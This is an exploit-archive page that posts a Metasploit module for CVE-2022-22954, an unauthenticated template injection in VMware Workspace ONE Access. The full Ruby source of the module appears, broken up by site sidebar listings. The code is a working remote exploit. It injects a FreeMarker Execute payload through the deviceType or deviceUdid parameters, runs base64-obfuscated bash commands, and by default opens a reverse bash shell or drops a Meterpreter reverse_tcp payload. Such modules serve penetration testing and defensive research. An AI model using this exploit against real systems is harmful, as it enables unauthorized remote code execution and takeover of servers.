VMware Workspace ONE Access Template Injection / Command Execution

Authored by mr_me, wvu, Udhaya Prakash | Site metasploit.com

Posted May 3, 2022

This Metasploit module exploits CVE-2022-22954, an unauthenticated server-side template injection (SSTI) vulnerability in VMware Workspace ONE Access, to execute shell commands as the horizon user.

tags | exploit, shell
advisories | CVE-2022-22954
SHA-256 | bf4114fce190a8b9bc1f2bfc2013620b04b05e7030c7cc59f3d685b8db2038b1 **Download** | **Favorite** | **View**

Related Files

Share This

Like 0 Tweet LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VMware Workspace ONE Access CVE-2022-22954',
        'Description' => %q{
          This module exploits CVE-2022-22954, an unauthenticated server-side
          template injection (SSTI) in VMware Workspace ONE Access, to execute
          shell commands as the "horizon" user.
        },
        'Author' => [
          'mr_me', # Discovery
          'Udhaya Prakash', # (@sherlocksecure of Poshmark Inc.) PoC
          'wvu' # Exploit and independent analysis
        ],
        'References' => [
          ['CVE', '2022-22954'],
          ['URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0011.html'],
          ['URL', 'https://srcincite.io/advisories/src-2022-0005/'],
          ['URL', 'https://github.com/sherlocksecurity/VMware-CVE-2022-22954'],
          ['URL', 'https://attackerkb.com/topics/BDXyTqY1ld/cve-2022-22954/rapid7-analysis']
          # More context: https://twitter.com/wvuuuuuuuuuuuuu/status/1519476924757778433
        ],
        'DisclosureDate' => '2022-04-06',
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat	186 files
Ubuntu	52 files
Gentoo	44 files
Debian	27 files
Apple	25 files
Google Security Research	14 files
malvuln	10 files
nu11secur1ty	6 files
mjurczyk	4 files
George Tsimpidas	3 files

File Tags

ActiveX	(932)
Advisory	(79,557)
Arbitrary	(15,643)
BBS	(2,859)
Bypass	(1,615)
CGI	(1,015)
Code Execution	(6,913)
Conference	(672)
Cracker	(840)
CSRF	(3,288)
DoS	(22,541)
Encryption	(2,349)
Exploit	(50,293)
File Inclusion	(4,162)
File Upload	(946)
Firewall	(821)
Info Disclosure	(2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX	(426)
Apple	(1,926)

```
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    ret = execute_command("echo #{token = rand_text_alphanumeric(8..16)}")

    return CheckCode::Unknown unless ret
    return CheckCode::Safe unless ret.match?(/device (?:id|type): #{token}/)

    CheckCode::Vulnerable
  end

  def exploit
    print_status("Executing #{payload_instance.refname} (#{target.name})")

    case target['Type']
    when :cmd
      execute_command(payload.encoded)
    when :dropper
      execute_cmdstager
    end
  end

  def execute_command(cmd, _opts = {})
    bash_cmd = "bash -c {eval,$({echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d})}"

    vprint_status("Executing command: #{bash_cmd}")

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, ssti_uri),
      'vhost' => rand_text_alphanumeric(8..16),
      'vars_get' => {
        %w[code error].sample => rand_text_alphanumeric(8..16),
        # https://freemarker.apache.org/docs/api/freemarker/template/utility/Execute.html
        ssti_param => %(${"freemarker.template.utility.Execute"?new()("#{bash_cmd}")})
      }
    }, 3.5)

    return unless res
    return '' unless res.code == 400 && res.body.include?('auth.context.invalid')

    res.body
  end

  def ssti_uri
    %w[
      /catalog-portal/hub-ui
      /catalog-portal/hub-ui/byob
      /catalog-portal/ui
      /catalog-portal/ui/oauth/verify
    ].sample
  end

  def ssti_param
    %w[deviceType deviceUdid].sample
  end

end
```

Intrusion Detection (866)
Java (2,888)
JavaScript (817)
Kernel (6,255)
Local (14,173)
Magazine (586)
Overflow (12,390)
Perl (1,417)
PHP (5,087)
Proof of Concept (2,290)
Protocol (3,426)
Python (1,449)
Remote (30,009)
Root (3,496)
Ruby (594)
Scanner (1,631)
Security Tool (7,768)
Shell (3,098)
Shellcode (1,204)
Sniffer (885)
Spoof (2,165)
SQL Injection (16,089)
TCP (2,377)
Trojan (685)
UDP (875)
Virus (661)
Vulnerability (31,104)
Web (9,329)
Whitepaper (3,728)
x86 (946)
XSS (17,478)
Other

BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,620)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,118)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,339)
Slackware (941)
Solaris (1,607)
SUSE (1,444)
Ubuntu (8,147)
UNIX (9,150)
UnixWare (185)
Windows (6,504)
Other

Login or Register to add favorites